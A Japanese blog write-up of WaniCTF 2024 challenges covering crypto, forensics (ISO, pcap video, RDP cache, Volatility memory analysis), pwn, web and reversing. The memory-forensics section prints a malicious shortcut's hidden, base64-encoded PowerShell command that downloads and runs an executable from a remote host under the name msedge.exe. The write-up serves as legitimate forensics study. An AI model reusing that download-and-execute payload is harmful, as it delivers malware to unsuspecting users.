以下の内容はhttps://k-yukichi.hatenablog.com/entry/2024/06/23/212328より取得しました。


waniCTF

X見てたら見つけたものをやってみた。

好き嫌いが激しすげていかん。とがるならもっとフォレンジックをとがらせたいと思います。

開閉

crypto

beginners_rsa

Do you know RSA?
ということで、RSAの問題を解いていく。

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265

nとeと暗号文が渡された。おや、よく見るとnがpqrsaで定義されている。つまり、因数分解して、それぞれ1引いたものを用いてdを出せばよさそう。factordbに投げてみる。因数分解できた。よって、よくある流れでRSAを解けば終了。

beginners_aes

AES is one of the most important encryption methods in our daily lives.
ということで、やっていく。AES問題をそんなに解いたことがないので、楽しみ。

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = 6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e

というものと実行コードが渡されている。(CBCモードの基礎)を参考にすると、一つ前の暗号文とxorして暗号文を作るようだ。 pythonでの復号をコードに書いて、

from Crypto.Cipher import AES
from os import urandom
import hashlib
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"
key2 = b'the_enc_key_is_'
iv2 = b'my_great_iv_is_'

def decrypt(key, iv, ct):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    de = cipher.decrypt(ct)
    de = unpad(de,16)
    return de

flag = 0
while(flag ==0):
  key = key2 + urandom(1)
  iv = iv2 + urandom(1)
  try:
    dec = decrypt(key,iv,enc)
    if (hashlib.sha256(dec).hexdigest() == flag_hash):
      print(dec)
      flag = 1
  except:
    pass

を行うとフラグゲット。

replacement

No one can read my diary!
ということで、2つのファイルを渡された。 一つはリスト型の数値の羅列。もう一つはその羅列の作られ方。

enc = []
for char in cal:
    x = ord(char)
    x = hashlib.md5(str(x).encode()).hexdigest()
    enc.append(int(x, 16))

である。総当たりするのが直感的に思いつく。

strings ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789! .{}"
cal = list(strings)
ans =""
for day in diary:
  for char in cal:
      x = ord(char)
      x = hashlib.md5(str(x).encode()).hexdigest()
      if (day == int(x, 16)):
        ans = ans + char
print(ans)

与えられたリストをdiaryという変数に入れて実行するとフラグゲット。終了。

Forensics

tiny_usb

USBが狭いWhat a small usb!
windowsディフェンダーに引っかかるのが面倒。isoファイルが与えられている。まずは初手かな。fileコマンドで様子見る。

└─# file chal_tiny_usb.iso
chal_tiny_usb.iso: ISO 9660 CD-ROM filesystem data 'CHAL_TINY_USB'

一応、ファイルシステムなので、解析できるのかな?

└─# strings chal_tiny_usb.iso
CD001
                                CHAL_TINY_USB
UNDEFINED


                        IMGBURN V2.5.8.0 - THE ULTIMATE IMAGE BURNER!

                       2024052820322500$2024052820322500$0000000000000000
0000000000000000
ImgBurn v2.5.8.0
CD001
FLAG.PNG;1
IHDR
        pHYs
tEXtSoftware
Celsys Studio Tool
dIDATx
OL\G

pngとあるので、何かしらの画像ファイルがあるのだろうか?hexdumpしてみると下に

0012a800  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|

pngファイルらしいものがある。調べていると(Linux ISOからファイルの抽出)というものがあった。マウントせずに抽出したいところ。7zを使って抽出できるようだ。└─# 7z x chal_tiny_usb.isoを行ったらpngファイルとflagゲット。

codebreaker

I, the codebreaker, have broken the QR code! ということで、画像にばってんが付いたQRコードpngが渡された。確かにこれでは読めないか。それらしく修正していけば読み込めるのかと思い、位置検知のところだけでもそれっぽくした。

読み込めた。正攻法ではないけどできた。終了。

I_wanna_be_a_streamer

母ちゃんごめん、俺配信者として生きていくよ。 たまには配信に遊び来てな。 (動画のエンコーディングにはH.264が使われています。)
ということで、pcapファイルを渡された。懐かしい。動画の情報についてなのかな?
UDP通信で行われているのはわかるが、dataのところにはほとんどない。
192.168.0.100と192.168.0.105が多くのパケットをやり取りしていることが分かる。実際にやり取りを見ても、二者間の通信がほとんどである。何かしらのpaylodをやり取りしている。 (GStreamer で Wireshark の RTP パケットからビデオを再生する方法)というものがあり、実行してみたが、いい結果は得られなかった。

C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=126application/x-rtp,media=video,clock-rate=90000,payload=126 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale !  videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4

とすると何かしらは抽出できたが、見れない。payloadはpayloadtypeのことかもしれないと思い、96に変更してやってみる。

C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=96application/x-rtp,media=video,clock-rate=90000,payload=96 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale !  videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4

できた。うれしいいいいいいいいいいいい。

Surveillance_of_sus

悪意ある人物が操作しているのか、あるPCが不審な動きをしています。

そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!
ということらしい。

└─# file Cache_chal.bin
Cache_chal.bin: data

ただのデータが渡され散る。キャッシュファイルだとは思うので、何かしらで解析するんだよね。そもそもキャッシュファイルとは?

知識(キャッシュファイル)
キャッシュファイル (キャッシュファイル)

stringsコマンドをしてみる。

└─# strings Cache_chal.bin
RDP8bmp
i2\@
kaSDr@
:kQ@
{b`R

(Magic number)を参考にすると、RDP Bitmap Cacheファイルらしい。

知識(RDP Bitmap Cache)
RDP Bitmap Cache (RDPビットマップキャッシュについて)を参考にする。RDPにおいて、画面情報を通信するときのキャッシュのようだ。

上記サイトを参考に以下のコードを実行する。

└─# python3 ./bmc-tools.py -s "Cache_chal.bin" -d ./output/ -b
[+++] Processing a single file: 'Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.
[===] Successfully exported collage file.

抽出できた。これをRdpCacheStitcherを用いてつなぎ合わせれば、flagゲット。終了。

mem_search(解けていません)

知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!

攻撃はどうやって行われたのでしょう?

メモリダンプは大きいので以下のURLで配布します (解凍すると2GBになります)

WaniCTF開催後は非公開になる可能性があります。

https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing

※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。
ということで、メモリダンプのお話のようだ。(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])、(Volatility3を早速使ってみた[追記])を参考に行う。

└─# file chal_mem_search.DUMP
chal_mem_search.DUMP: MS Windows 64bit crash dump, version 15.19041, 1 processors, full dump, 4992030524978970960 pages

windows環境のメモリダンプであることがわかる。

Variable        Value

Kernel Base     0xf8030e400000
DTB     0x1ad000
Symbols file:///home/yukichi/mount/wani/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 WindowsCrashDump64Layer
base_layer      2 FileLayer
KdDebuggerDataBlock     0xf8030f000b20
NTBuildLab      19041.1.amd64fre.vb_release.1912
CSDVersion      0
KdVersionBlock  0xf8030f00f400
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2024-05-11 09:33:57
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Mon Dec  9 11:07:51 2019

また、不審な動作をしたということなので、プロセスを見てみる。

└─# python3 vol.py -f '../chal_mem_search.DUMP' windows.pslist
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime       File output

4       0       System  0xcd88c7a97040  168     -       N/A     False   2024-05-11 09:31:11.000000      N/A     Disabled
72      4       Registry        0xcd88c7a85080  4       -       N/A     False   2024-05-11 09:31:06.000000      N/A    Disabled
528     4       smss.exe        0xcd88c9ac8040  2       -       N/A     False   2024-05-11 09:31:11.000000      N/A    Disabled
632     624     csrss.exe       0xcd88c946a080  10      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
704     624     wininit.exe     0xcd88cb7d1080  1       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
712     696     csrss.exe       0xcd88cb7d9140  11      -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
760     696     winlogon.exe    0xcd88cb7f5080  7       -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
824     704     services.exe    0xcd88cbe3c100  8       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
832     704     lsass.exe       0xcd88cbe4e080  11      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
928     760     fontdrvhost.ex  0xcd88cbe8c1c0  5       -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
936     704     fontdrvhost.ex  0xcd88cbe8a0c0  5       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
976     824     svchost.exe     0xcd88cbe912c0  24      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
568     824     svchost.exe     0xcd88cbf45340  13      -       0       False   2024-05-11 09:31:14.000000      N/A    Disabled
796     760     dwm.exe 0xcd88cbfe8080  16      -       1       False   2024-05-11 09:31:14.000000      N/A     Disabled
.
.
.

2704    3576    powershell.exe  0xcd88ce279080  0       -       1       False   2024-05-11 09:33:52.000000      2024-05-11 09:33:56.000000      Disabled
7844    2704    msedge.exe      0xcd88cd7ac080  0       -       1       True    2024-05-11 09:33:55.000000      2024-05-11 09:33:57.000000      Disabled

明らかに不審な実行はない。notepadやpowershellの実行は気になる。でも、知らないファイルを開いているということはexplorer.exe(3576)やonedrive.exe(7372)は見ておきたい。

お手上げだったので、(WaniCTF 2024)writeupを見てしまった。ファイルスキャンを行うのが良かったようだ。いったんやってみたが、量が多かったので敬遠していたが、mikkaやDesktopでgrepしたらよかったかもしれない。ファイルを触ったと書いてあるのはヒントになっていたのかもしれない。

└─# python3 vol.py -f "../chal_mem_search.DUMP" windows.filescan.FileScan | grep Desktop
0xcd88cc0d2850.0\Windows\System32\DispBroker.Desktop.dll        216
0xcd88cc23dd40  \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx      216
0xcd88cc23eb50  \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Admin.evtx     216
0xcd88cc710700  \Users\Mikka\Desktop    216
0xcd88ccd2c930  \Windows\System32\DesktopShellExt.dll   216
0xcd88ccf0ca10  \Users\Mikka\Desktop\desktop.ini        216
0xcd88cd52fd20  \Windows\System32\SettingsEnvironment.Desktop.dll       216
0xcd88cd530810  \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini      216
0xcd88cd5341e0  \ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini      216
0xcd88cdd5e130  \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini     216
0xcd88cdd651b0  \Windows\SoftwareDistribution\Download\f70085ec9ad749e7257f1893f63367a6\Metadata\DesktopTargetServicedCompDB_Neutral.xml.cab    216
0xcd88cdd70ba0  \Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppxManifest.xml216
0xcd88cdd893d0  \Windows\System32\Windows.Cortana.Desktop.dll   216
0xcd88cdf95960  \Windows\System32\WindowsInternal.ComposableShell.DesktopHosting.dll    216
0xcd88ceb9f2b0  \Users\Mikka\Desktop\echo.txt   216
0xcd88ceba5e80  \Users\Public\Desktop\desktop.ini       216
0xcd88ceba67e0  \Users\Public\Desktop\Microsoft Edge.lnk        216
0xcd88cebac730  \Users\Mikka\Desktop    216
0xcd88cebc26c0  \Users\Mikka\Desktop\read_this_as_admin.lnknload        216
0xcd88cebc3660  \Users\Public\Desktop   216
0xcd88cebc5410  \Users\Public\Desktop   216
0xcd88cebc69f0  \Users\Mikka\Desktop    216
0xcd88cebc7350  \Users\Mikka\Desktop    216

0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216ここが怪しいようだ。飛ばしてしまいそう。この探す力もフォレンジックには必要そうだ。このファイルをダンプする。

└─# python3 vol.py -f "../chal_mem_search.DUMP" -o "../output/" windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xcd88cebc26c0  read_this_as_admin.lnknload     file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat

いい感じ。中身を見ると、

└─# cat file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat
�8O� �:i�+00�/C:\V1�X3�Windows@ ヌOwH�X�J.��
  WindowsZ1�X{cSystem32B        ヌOwH�X�J.k���erSystem32t1�O�IWindowsPowerShellT ヌO�I�X�H.�����WindowsPowerShell N1�X4�v1.0:     ヌO�I�XDK.��'>�v1.0l2�PX@
                                 powershell.exeN        ��PX@
                                                             �X�B.hi#���'powershell.exeh-gt$�C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32�-window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=C:\hack\shared\read_this.docx�%SystemDrive%\hack\shared\read_this.docx%SystemDrive%\hack\shared\read_this.docx�%�
�����Kp\��1SPS��XF�L8C���&�m�q/S-1-5-21-1812296582-1250191020-2086791148-100191SPS�mD��pH�H@.�=x�hH�o�P

何やらbase64されている。

難読化されている。難読化を解いて再びbase64デコードを行うとflagゲット。楽しい問題だった。

tiny_10px(解けていません)

世界は狭い What a small world!
ということで、

pwnable

nc

pwn問題はnc(net cat)コマンドを使って問題サーバに接続することがよくあります。ncの使い方を覚えておきましょう

下記コマンドをshellで実行することで問題サーバに接続することが出来ます。接続先で問題を解き、フラグを獲得してください

Pwn challenges often require connecting to the challenge server using the nc (netcat) command. It's important to learn how to use nc.

You can connect to the challenge server by executing the following command in your shell. Solve the problem at the connection point and obtain the flag.

nc chal-lz56g6.wanictf.org 9003
ということで、接続してみる。

└─# nc chal-lz56g6.wanictf.org 9003
15+1=0x

答えを16進数で表したらflagゲット。

do_not_rewrite(解けていません)

canaryにはかなーり気をつけないといけません

Be careful with the canary.

nc chal-lz56g6.wanictf.org 9004
ということで、カナリアのあるオバーフローをやったことないので、頑張ってみる。 とにかく実行してみる。

└─# nc chal-lz56g6.wanictf.org 9004
hint: show_flag = 0x55657c73925f

Enter the name of ingredient 1: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 2: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 3: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 4: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Total calories for the meal: 12.00 kcal
*** stack smashing detected ***: terminated

最初にflagのアドレスを教えていただいている。ここに飛ばせたら良いということだと思う。入力は食料の名前とグラム単位のカロリー、グラムを入力するこれを計4回行うとトータルのカロリーを出してくれるようだ。

web

Bad_Worker(解けていません)

オフラインで動くウェブアプリをつくりました。 We created a web application that works offline. https://web-bad-worker-lz56g6.wanictf.org
ということで、web問題。

コンテナをつくったり、flagを表示するサイトのようだ。

Reversing

lambda(解けていません)

Let's dance with lambda!ということでやっていく。

└─# python3 lambda.py
Enter the flag: FLAG{
Incorrect

コードから理解しないといけないようだ。

知識(lambda)
lambda (Pythonのlambdaって分かりやすい)を参考に理解する。`lambda 引数: 返り値`で関数のように行うことが出来る。

それでも、読みにくい。

home(解けていません)

FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!
とりあえず、ghidraに突っ込んでみる。よくわからない。




以上の内容はhttps://k-yukichi.hatenablog.com/entry/2024/06/23/212328より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14